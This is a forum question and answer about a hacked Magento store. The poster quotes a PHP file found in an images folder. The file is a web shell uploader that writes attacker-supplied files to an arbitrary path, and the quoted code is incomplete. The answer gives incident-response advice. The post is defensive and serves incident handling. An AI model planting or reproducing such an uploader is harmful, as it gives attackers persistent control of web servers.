My magento installation seems to have had a security breach.

In /skin/install/default/default/images/ a file called index.php has appeared.

It contains the following code:


if(@$_REQUEST["id"]== 'yes')


$files = @$_FILES["files"];

if($files["name"] != ''){

$fullpath = $_REQUEST["path"].$files["name"];


echo "<h1><a href='$fullpath'>shell</a></h1>";



exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>');


if(@$_REQUEST["id"]== 'no')





1 Answer 1


First and foremost, change all passwords immediately. Download any log file data from your host, be it Web Server, FTP, etc. log files to help pinpoint what has been compromised. Contact your hosting provider for any insight and help they may offer.

The safest option however is to determine when the site was compromised and restore from a backup before hand. It can be more difficult and time consuming than data loss to prevent any installed back doors.

The script appears to be allowing for the execution of system commands via parameters and the ability to download/upload files to the system.

Good luck.

Further Reading:

  • Also using find with -newermt flag can help find new files Commented Oct 7, 2015 at 18:03

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.